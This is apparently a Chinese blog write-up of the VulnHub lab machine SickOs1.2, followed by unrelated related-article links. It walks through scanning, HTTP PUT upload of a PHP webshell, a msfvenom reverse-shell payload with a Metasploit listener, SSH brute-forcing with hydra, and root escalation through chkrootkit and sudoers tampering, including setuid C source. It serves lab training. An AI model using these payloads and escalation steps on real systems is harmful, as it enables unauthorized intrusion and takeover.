SickOs1.2靶机
仅供个人娱乐
靶机信息
靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主机发现
arp-scan -l

二、端口扫描
1. masscan --rate=10000 -p0-65535 192.168.181.133

三、端口服务识别
nmap -sV -n 192.168.181.133

四、漏洞查找与利用
1.浏览器访问http://192.168.181.133,发现发现登录界面,尝试目录扫描,没发现有用信息
dirb http://192.168.181.133 /usr/share/dirb/wordlists/big.txt


2.发现http://192.168.181.133/test/

1.SSH爆破
3.发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root
searchsploit openssh

search openssh


4.使用hydra进行ssh爆破,破解出来root

5.发现web服务的版本lighttpd 1.4.28
searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞

6. nmap 192.168.181.133 --script http-methods.nse --script-args http.methods.url-path="/test"

Getshell方式一 菜刀 shell
2.Bp抓包改为OPTIONS
或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法

7. 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created)

3.Getshell方式一:菜刀
8.上传php一句话

9. 在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去)
或者使用
4.使用php-reverse-shell.php
10.将Kali上的php-reverse-shell.php复制到物理机上,重命名为1.php,并修改监听的IP地址和端口;
IP:192.168.181.128
Port:443(注:换成其他高位端口不能监听成功,防火墙过滤掉了)



11.查看系统版本和内核版本

Getshell方式二:msf反弹 curl上传
1.Msfvenom生成一个反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php

2.curl上传生成的反弹shell到目标
curl -v -H 'Expect:' -T shell.php "http://192.168.181.133/test/"

3. msf开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.181.128
set lport 7777或者443
exploit -j
sudo netstat -plnt

4.访问上传的shell
curl -v "http://192.168.181.133/test/shell.php"
获得shell


五、提权
lsb_relese -a
ls -la /etc/cron*
/etc/cron.daily:


查看漏洞


可以看到chkrootkit存在本地提权漏洞
方法一:添加当前用户www-data到sudoers列表中
Tmp新建一个文件update
cd /tmp
touch update
ls -l

给update文件添加执行权限
chmod +x /tmp/update

添加当前用户www-data到sudoers列表中;
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
sudo su root

提权方式二:漏洞库
1.exploit-database中对漏洞chkrootkit进行搜索

2.msf中利用对应的漏洞结合已经获得的session

3.使用exploit/unix/local/chkrootkit模块本地提权,设置参数

4.开始攻击,成功,获得管理员权限

提权方式三:创建shell.c文件
1.编写创建shell.c文件提权
在Kali上编写shell.c文件
#include<unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

将shell.c文件上传到靶机上
curl -v -H "Expect:" -T shell.c http://192.168.232.136/test/

cd /var/www/test
ls
cp shell.c /tmp/shell.c
cd /tmp

SickOs1.2靶机的更多相关文章
- kali渗透综合靶机(十二)--SickOs1.2靶机
kali渗透综合靶机(十二)--SickOs1.2靶机 靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/ 一.主机发现 1.netdiscover ...
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- Ms17-010进行WEB提权之实践下某培训靶机服务器
前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...
- metasploit利用漏洞渗透攻击靶机
1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...
- web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- Fowsniff: 1靶机入侵
一.信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...
- digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...
- Moonraker:1靶机入侵
0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...
- FourAndSix: 2.01靶机入侵
0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...
随机推荐
- NOIP模拟测试29「爬山·学数数·七十和十七」
爬山题解不想写了 学数数 离散化然后找到以每一个值为最大值的连续子段有多少个,然后开个桶维护 那么怎么找以每一个值为最大值的连续子段个数 方法1(我的极笨的方法) 考试时我的丑陋思路, 定义极左值为左 ...
- NOIP模拟测试6「那一天我们许下约定(背包dp)·那一天她离我而去」
那一天我们许下约定 内部题,题干不粘了. $30分算法$ 首先看数据范围,可以写出来一个普通dp #include<bits/stdc++.h> #define ll int #defin ...
- 关于equals()和hashcode()的一些约定
本文章主要讨论和回答一下几个问题: equals()的四大特性 equals()和hashcode()之间的关系,为什么我们经常说这两个方法要么都重写,要么都不重写? HashMap.HashSet等 ...
- 十八、.net core(.NET 6)搭建ElasticSearch(ES)系列之使用Logstash通过Rabbitmq接收Serilog日志到ES
使用Logstash通过Rabbitmq接收Serilog日志到ES 首先,要部署logstash 为了与前面的ElasticSearch版本保持一致,此处Logstash下载的版本也是7.13.1, ...
- 3、SpringBoot整合之SpringBoot整合JDBC
SpringBoot整合JDBC 一.创建SpringBoot项目 选择Spring Web.JDBC API.MySQL Driver 二.在pom配置文件中修改JDBC版本,导入lombok &l ...
- Gym 101334A Area 51 数学
大致题意: 给出n个建筑的二维坐标,每个建筑名称为一个字母,不同坐标的建筑可以有同一名称,并保证这些坐标都是在y轴上半轴.给出一串建筑名称的字符串,在X轴上找出一个或多个区间,使Nick在这个区间上从 ...
- Sql Server 查询正在执行的sql信息和锁定事务
执行中的sql SELECT [Spid] = session_Id, ecid, [Database] = DB_NAME(sp.dbid), [User] = nt_username, [Stat ...
- RabbitMQ重试机制
消费端在处理消息过程中可能会报错,此时该如何重新处理消息呢?解决方案有以下两种. 在redis或者数据库中记录重试次数,达到最大重试次数以后消息进入死信队列或者其他队列,再单独针对这些消息进行处理: ...
- centos7 之 设置环境变量(转载)
设置centos环境变量,可以用export命令,也可以通过修改文件形式实现,本文以lavavel需要设置环境变量为例,将 /root/.config/composer/vendor/bin 路径加到 ...
- 南京大学计算机基础 X64函数调用和链接器原理和可重定位的文件.o
一. 1.函数调用差别 X64的函数调用,和X86函数调用区别,在于参数的传递不一样了,X64的参数传递不在依靠栈来传,而是寄存器,不过还是具有局限性的 比如只能允许六个寄存器来传,分别是RDI,RS ...